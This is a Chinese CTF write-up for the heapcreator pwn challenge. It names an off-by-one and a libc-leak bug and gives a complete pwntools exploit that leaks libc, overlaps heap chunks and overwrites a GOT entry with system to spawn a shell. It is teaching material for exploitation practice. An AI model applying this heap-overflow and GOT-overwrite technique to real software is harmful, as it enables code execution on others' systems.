hitcontraining_heapcreator 3/100

漏洞点:

edit_chunk :off by one 一个字节的溢出
free_chunk: 逻辑漏洞,可以泄露libc

思路:

利用逻辑漏洞泄露libc
利用off by one 实现chunk extend
构造堆块重叠
实现任意地址写

exp:

from pwn import *
p = process("./heapcreator")
e = ELF("./heapcreator")
libc = e.libc
p.timeout = 0.1
def add(size,content):
	p.recvuntil("Your choice :")
	p.sendline("1")
	p.recvuntil("Size of Heap : ")
	p.send(str(size))
	p.recvuntil("Content of heap:")
	p.send(content)

def edit(index,content):
	p.recvuntil("Your choice :")
	p.sendline("2")
	p.recvuntil("Index :")
	p.sendline(str(index))
	p.recvuntil("Content of heap:")
	p.send(content)
	p.recvuntil("Done !\n")

def show(index):
	p.recvuntil("Your choice :")
	p.sendline("3")
	p.recvuntil("Index :")
	p.sendline(str(index))	

def delete(index):
	p.recvuntil("Your choice :")
	p.sendline("4")
	p.recvuntil("Index :")
	p.sendline(str(index))

add(0x18,'/bin/sh\x00')#0
add(0x80,'cccc')#1
add(0x18,'dddd')#2
delete(1)
delete(2)
add(0x80,'a'*(8))
show(1)
main_arena_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
libc_base= main_arena_addr-0x3c4b78
success("libc_base:"+hex(libc_base))
system = libc_base + libc.sym["system"]
add(0x18,'aaaa')
delete(1)
edit(2,"a"*(24)+"\xb1")
add(0xa8,"a")
edit(1,"a"*(0x80)+p64(0x90)+p64(0x20)+p64(0xa0)+p64(0x602018))
edit(1,p64(system))
delete(0)
p.interactive()

以上是我自己的打法,不过后来看别人的wp,发现我是个fw!
直接chunk_extend 覆盖后面的chunk 就可以任意地址写了。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值